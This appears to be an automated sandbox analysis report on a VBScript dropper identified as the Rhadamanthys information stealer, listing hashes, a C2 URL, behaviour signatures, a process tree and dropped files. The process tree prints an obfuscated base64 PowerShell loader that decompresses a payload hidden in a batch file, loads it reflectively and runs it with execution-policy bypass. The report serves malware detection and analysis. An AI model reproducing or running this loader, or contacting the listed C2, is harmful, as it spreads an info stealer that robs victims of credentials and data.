Analysis

  • max time kernel
    96s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-09-2024 07:24

General

  • Target

    rsDymE.vbs

  • Size

    506KB

  • MD5

    7fba6758ee02d6fbd69db7bb5de82029

  • SHA1

    7c759c4a7681da6e916d8dd80ecfb125f4bf49f5

  • SHA256

    8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974

  • SHA512

    15c49c436bf5ed535f646f263e70e80f47de620a553a9f7a8a88482385eec5812970fdc0f69b915efa6006a58b16fbf47980f2fa34f54344cbe77ac28cc75722

  • SSDEEP

    12288:0KaH9AkQqyuC+4MXBRNAIPyLKhaDw7JZJGjdbS4VZZ4Ph:89AkJyd+XXBzAIKOUU7Foxn4p

Malware Config

Extracted

Family

rhadamanthys

C2

https://deadmunky.nl:5403/68efc67ee981034e6b329438/h7bgh43h.758up

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2472
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4500
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rsDymE.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\rsDymE.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2868
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInJzRHltRS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\rsDymE.ps1' -Encoding UTF8"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3064
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\rsDymE.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4488
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:1508
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1344
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 608
                5⤵
                • Program crash
                PID:4776
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 604
                5⤵
                • Program crash
                PID:4908
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 1344 -ip 1344
        1⤵
          PID:1160
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1344 -ip 1344
          1⤵
            PID:1124

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

            Filesize

            1KB

            MD5

            4280e36a29fa31c01e4d8b2ba726a0d8

            SHA1

            c485c2c9ce0a99747b18d899b71dfa9a64dabe32

            SHA256

            e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

            SHA512

            494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            16KB

            MD5

            6b28d1f41f6a068c49a264176101c2b3

            SHA1

            c17196b0522490dda9ab14cb2bcdbd7e22723b08

            SHA256

            88587b76a11b1f0a26398cae8daca6e2aa55f07b7943b5ee92f7f8a2fa3eb51d

            SHA512

            d7d7963b66820b65b1a48499d249a0ac7dd94b57ac63231e848ba113555bcc826dd3ba32be4328d30f7f81bc8922777d1eef7afc3f24c833779dbdd54378b5dc

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skv513yl.k1y.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\rsDymE.bat

            Filesize

            488KB

            MD5

            95e465b1ef996d3968a93ddbf5eba3da

            SHA1

            60fedee18bb55594ae6cf5a888e3135845ee8b7b

            SHA256

            0334ee6012ab68c0952a2b92e5977f687c2e278e6c5854554935bf344f6a6fae

            SHA512

            c6dcb8a2d8e91e8f770278ea20597bbc905387ece940841e5f0317eec117dd772ff8af1ce5fb69e3cfad4a9d0624685d2741d462b1c69a555bf25b1ba774c475

          • C:\Users\Admin\rsDymE.ps1

            Filesize

            1KB

            MD5

            6cc71c25ffb24ada904a5fc8671b08c5

            SHA1

            cf421c6b8f009a9b50f6c968669b5ae20a8475aa

            SHA256

            ecc925ef3557e4387d89ce5f16781f13c5c32ab4f30302a29cac1b54356314d0

            SHA512

            d131952d62403bd65a94e6d4b5231283088e65a7a944ab6fe7b15c81670d003e1003d01749ae89d37e56c8891ef2f1f92b874ced45b97a7a81cc62cc6a55d033

          • memory/1344-56-0x0000000076CE0000-0x0000000076EF5000-memory.dmp

            Filesize

            2.1MB

          • memory/1344-54-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

            Filesize

            2.0MB

          • memory/1344-53-0x0000000003C90000-0x0000000004090000-memory.dmp

            Filesize

            4.0MB

          • memory/1344-52-0x0000000003C90000-0x0000000004090000-memory.dmp

            Filesize

            4.0MB

          • memory/1344-51-0x0000000000400000-0x000000000046D000-memory.dmp

            Filesize

            436KB

          • memory/1344-49-0x0000000000400000-0x000000000046D000-memory.dmp

            Filesize

            436KB

          • memory/3064-12-0x0000000005480000-0x00000000054E6000-memory.dmp

            Filesize

            408KB

          • memory/3064-13-0x0000000005BB0000-0x0000000005F04000-memory.dmp

            Filesize

            3.3MB

          • memory/3064-25-0x0000000007A80000-0x00000000080FA000-memory.dmp

            Filesize

            6.5MB

          • memory/3064-26-0x0000000006680000-0x000000000669A000-memory.dmp

            Filesize

            104KB

          • memory/3064-30-0x0000000074B00000-0x00000000752B0000-memory.dmp

            Filesize

            7.7MB

          • memory/3064-23-0x0000000006130000-0x000000000614E000-memory.dmp

            Filesize

            120KB

          • memory/3064-24-0x0000000006160000-0x00000000061AC000-memory.dmp

            Filesize

            304KB

          • memory/3064-10-0x0000000005370000-0x0000000005392000-memory.dmp

            Filesize

            136KB

          • memory/3064-11-0x0000000005410000-0x0000000005476000-memory.dmp

            Filesize

            408KB

          • memory/3064-5-0x0000000074B0E000-0x0000000074B0F000-memory.dmp

            Filesize

            4KB

          • memory/3064-6-0x0000000002D90000-0x0000000002DC6000-memory.dmp

            Filesize

            216KB

          • memory/3064-7-0x0000000074B00000-0x00000000752B0000-memory.dmp

            Filesize

            7.7MB

          • memory/3064-8-0x0000000005580000-0x0000000005BA8000-memory.dmp

            Filesize

            6.2MB

          • memory/3064-9-0x0000000074B00000-0x00000000752B0000-memory.dmp

            Filesize

            7.7MB

          • memory/4488-41-0x00000000058D0000-0x0000000005C24000-memory.dmp

            Filesize

            3.3MB

          • memory/4488-48-0x0000000000A60000-0x0000000000A6A000-memory.dmp

            Filesize

            40KB

          • memory/4488-47-0x0000000007280000-0x000000000731C000-memory.dmp

            Filesize

            624KB

          • memory/4488-46-0x0000000007730000-0x0000000007CD4000-memory.dmp

            Filesize

            5.6MB

          • memory/4488-45-0x0000000006FF0000-0x0000000007012000-memory.dmp

            Filesize

            136KB

          • memory/4488-44-0x0000000007090000-0x0000000007126000-memory.dmp

            Filesize

            600KB

          • memory/4500-57-0x00000000007E0000-0x00000000007E9000-memory.dmp

            Filesize

            36KB

          • memory/4500-59-0x0000000002600000-0x0000000002A00000-memory.dmp

            Filesize

            4.0MB

          • memory/4500-60-0x00007FFFD5E10000-0x00007FFFD6005000-memory.dmp

            Filesize

            2.0MB

          • memory/4500-62-0x0000000076CE0000-0x0000000076EF5000-memory.dmp

            Filesize

            2.1MB